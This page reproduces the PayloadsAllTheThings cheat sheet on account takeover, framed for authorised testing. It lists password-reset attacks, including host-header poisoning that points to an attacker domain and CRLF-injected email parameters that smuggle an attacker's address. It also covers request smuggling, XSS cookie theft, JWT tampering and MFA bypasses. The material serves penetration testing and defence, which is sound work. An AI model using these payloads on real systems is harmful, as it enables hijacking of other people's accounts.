Account Takeover
SourceOn the Atlas> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
Payloads · Authentication
For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.
From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.
29 of 29 passages
> Account Takeover (ATO) is a significant threat in the cybersecurity landscape, involving unauthorized access to users' accounts through various attack vectors.
1. Request password reset to your email address 2. Click on the password reset link 3. Don't change password 4. Click any 3rd party websites(e.g., Facebook, twitter) 5. Intercept the request in Burp Suite proxy 6. Check if the referer header is leaking password reset token.
1. Intercept the password reset request in Burp Suite 2. Add or edit the following headers in Burp Suite : `Host: [ATTACKER.DOMAIN.TLD]`, `X-Forwarded-Host: [ATTACKER.DOMAIN.TLD]` 3. Forward the request with the modified header ```http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: [ATTACKER.DOMAIN.TLD] ``` 4. Look for a password reset URL based on the *host header* like : `https://[ATTACKER.DOMAIN.TLD]/reset-password.php?token=TOKEN`
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com1. Attacker have to login with their account and go to the **Change password** feature. 2. Start the Burp Suite and Intercept the request 3. Send it to the repeater tab and edit the parameters : User ID/email ```powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"}) ```
The password reset token should be randomly generated and unique every time. Try to determine if the token expire or if it's always the same, in some cases the generation algorithm is weak and can be guessed. The following variables might be used by the algorithm. * Timestamp * UserID * Email of User * Firstname and Lastname * Date of Birth * Cryptography * Number only * Small token sequence (<6 characters between [A-Z,a-z,0-9]) * Token reuse * Token expiration date
1. Trigger a password reset request using the API/UI for a specific email e.g: <test@mail.com> 2. Inspect the server response and check for `resetToken` 3. Then use the token in an URL like `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
1. Register on the system with a username identical to the victim's username, but with white spaces inserted before and/or after the username. e.g: `"admin "` 2. Request a password reset with your malicious username. 3. Use the token sent to your email and reset the victim password. 4. Connect to the victim account with the new password. The platform CTFd was vulnerable to this attack. See: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
When processing user input involving unicode for case mapping or normalisation, unexpected behavior can occur. * Victim account: `demo@gmail.com` * Attacker account: `demⓞ@gmail.com` [Unisub - is a tool that can suggest potential unicode characters that may be converted to a given character](https://github.com/tomnomnom/hacks/tree/master/unisub). [Unicode pentester cheatsheet](https://gosecure.github.io/unicode-pentester-cheatsheet/) can be used to find list of suitable unicode characters based on platform.
1. Find an XSS inside the application or a subdomain if the cookies are scoped to the parent domain : `*.domain.com` 2. Leak the current **sessions cookie** 3. Authenticate as the user using the cookie
Refer to **HTTP Request Smuggling** vulnerability page. 1. Use **smuggler** to detect the type of HTTP Request Smuggling (CL, TE, CL.TE) ```powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h ``` 2. Craft a request which will overwrite the `POST / HTTP/1.1` with the following data: ```powershell GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X: ``` 3. Final request could look like the following ```powershell GET / HTTP/1.1 Transfer-Encoding: chunked Host: something.com User-Agent: Smuggler/v1.0 Content-Length: 83 0 GET http://[ATTACKER.DOMAIN.TLD] HTTP/1.1 X: X ``` Hackerone reports exploiting this bug * <https://hackerone.com/reports/737140> * <https://hackerone.com/reports/771666>
1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change" 2. Send the payload
JSON Web Token might be used to authenticate a user. * Edit the JWT with another User ID / Email * Check for weak JWT signature
> Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised. > MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.
If response is `"success":false` Change it to `"success":true`
If Status Code is **4xx** Try changing it to **200 OK** and see if it bypass restrictions
Check the response of the 2FA Code Triggering Request for leaked code.
Rare but some JS Files may contain info about the 2FA Code, worth giving a shot
Same code can be reused
Possible to brute-force any length 2FA Code
Data as of 2026-11-14.